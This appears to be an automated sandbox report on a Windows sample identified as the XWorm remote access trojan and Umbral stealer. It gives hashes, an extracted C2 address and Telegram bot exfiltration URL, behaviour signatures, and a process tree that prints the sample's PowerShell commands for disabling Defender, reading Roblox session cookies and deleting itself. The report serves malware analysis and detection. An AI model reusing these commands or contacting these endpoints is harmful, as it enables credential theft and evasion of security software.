Analysis

  • max time kernel
    98s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-02-2025 19:28

General

  • Target

    Output.exe

  • Size

    322KB

  • MD5

    710c071c63a8d8d1cd493c81d34834dc

  • SHA1

    050c535a206ac05550e3670ef465efe83585a76b

  • SHA256

    38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce

  • SHA512

    af1753c06c22178d1362ab964e445dbe49c5cf3c83ebceabf21b9a7c4cc30efbc66b3a28c4d4f90efba081faba84047edb190d2f05abe416ebf1a1b6c36aad13

  • SSDEEP

    6144:PhPKqm0guLkkFZFjbnSrOsrfUVCmveA3E6Chow8rtryB8YROu+oSxOFDxXMR17:5NnnfZTSHfUV7/E6twurFG+oS4FDxXMP

Malware Config

Extracted

Family

xworm

C2

147.185.221.19:18254

Attributes
  • Install_directory

    %Temp%

  • install_file

    SecurityHost.exe

  • telegram

    https://api.telegram.org/bot7873282441:AAFVeYQ8VZCC3gF8qlaTYIz4N-gMEL21mHI/sendMessage?chat_id=7952080340

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Users\Admin\AppData\Local\Temp\1.16.5.exe
      "C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3968
    • C:\Users\Admin\AppData\Local\Temp\SystemHost.exe
      "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
        3⤵
        • Views/modifies file attributes
        PID:532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SystemHost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4372
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3952
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:412
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
          PID:4288
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:968
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • Detects videocard installed
          PID:4236
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe" && pause
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\system32\PING.EXE
            ping localhost
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1184
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7ODdEQzVEOTEtNjc4OS00NDhBLUJGOEItN0ZDQzNCNEMyMjlCfSIgdXNlcmlkPSJ7RkFDRDdGMjAtM0FBOS00ODUwLUExNzEtNDBCMzhBMDMwRDA3fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7MjE2MjU5QkMtQTZBNS00NTU2LUJCQjMtM0Y5RTgzQjc5QUExfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDcxNzgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTY4MDM3MTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjEyNTc3NDE0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
      1⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:4656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      8ac55231307a0301e6f1d61406bf950c

      SHA1

      bcd13a5bf9163c3fcc5f0d6842ef4ea4771332ec

      SHA256

      56470a7bbc331928ada2ab7992cc791c23b2a79a1af7fffa505cefca4144a56d

      SHA512

      37fcf11af4ebebca50c57de0ae4b3c2fe6fc3e478be3f5725c285b2897c810e26b317fd7b38b6f9dbada80f05c939960d4c4d658a8b561bbb7e9bfc3d0b5a730

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      731e9e4becec0b1ef9caad4b3562d4b4

      SHA1

      6dffb77aba4e92ad5bd4b7c02fdee6f328bcd457

      SHA256

      71c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5

      SHA512

      841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      2af06a6b36db9473e4a7d9c7ab72b70b

      SHA1

      8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

      SHA256

      18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

      SHA512

      3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      b0a78e60bfb279d18fd3d6e7a67411f5

      SHA1

      9344fe3654a14bc66afb9dc6ea215fabfbe5c906

      SHA256

      a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

      SHA512

      9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

    • C:\Users\Admin\AppData\Local\Temp\1.16.5.exe

      Filesize

      80KB

      MD5

      0154c502a44c2d5f9b4d5ccbbb00dd10

      SHA1

      d7e0d7311c345dfd8d9b866d0cc9947da75ef194

      SHA256

      75d7a768d90e198c91aa274d24ff8f08ba95692b888d314aaf6278bb9a175027

      SHA512

      f237bbf5d80712ec3627a618dcd52bb75c379b8e5d3a9f4f10e09cabdb8dfb61a64ec6663b853b607f4add930dd19f249dfdce2b76240820bd3d5cd4ae555e09

    • C:\Users\Admin\AppData\Local\Temp\SystemHost.exe

      Filesize

      231KB

      MD5

      4855e5d98bb0ba10ce6acafaee9a9604

      SHA1

      8ef1a61d89cba2fd51460af7a902150e7066881a

      SHA256

      c51f4e4068a1ad51be55c670091bcddf525e4c3e4a43da4d1c1ab9fe9ac8f1e0

      SHA512

      39240a196a462be0c1fbf45d5d3a755767fef8d89eb4b63bcff30062be746a1237e47cb6fd4d0e980b8786416d5310bff4a40d34d7bcbc447a0c0110a31d3254

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yrwsghy.dnh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3044-1-0x0000000000640000-0x0000000000696000-memory.dmp

      Filesize

      344KB

    • memory/3044-0-0x00007FF8F8153000-0x00007FF8F8155000-memory.dmp

      Filesize

      8KB

    • memory/3568-97-0x00000222257F0000-0x0000022225802000-memory.dmp

      Filesize

      72KB

    • memory/3568-96-0x000002220BF00000-0x000002220BF0A000-memory.dmp

      Filesize

      40KB

    • memory/3568-120-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3568-114-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3568-57-0x00000222249B0000-0x0000022224A26000-memory.dmp

      Filesize

      472KB

    • memory/3568-58-0x000002220BF30000-0x000002220BF80000-memory.dmp

      Filesize

      320KB

    • memory/3568-59-0x000002220A6C0000-0x000002220A6DE000-memory.dmp

      Filesize

      120KB

    • memory/3568-27-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3568-25-0x000002220A230000-0x000002220A270000-memory.dmp

      Filesize

      256KB

    • memory/3968-26-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-28-0x00000000000A0000-0x00000000000BA000-memory.dmp

      Filesize

      104KB

    • memory/3968-101-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/3968-53-0x00007FF8F8150000-0x00007FF8F8C11000-memory.dmp

      Filesize

      10.8MB

    • memory/4196-38-0x00000211636D0000-0x00000211636F2000-memory.dmp

      Filesize

      136KB

    • memory/4196-41-0x000002117BB80000-0x000002117BD9C000-memory.dmp

      Filesize

      2.1MB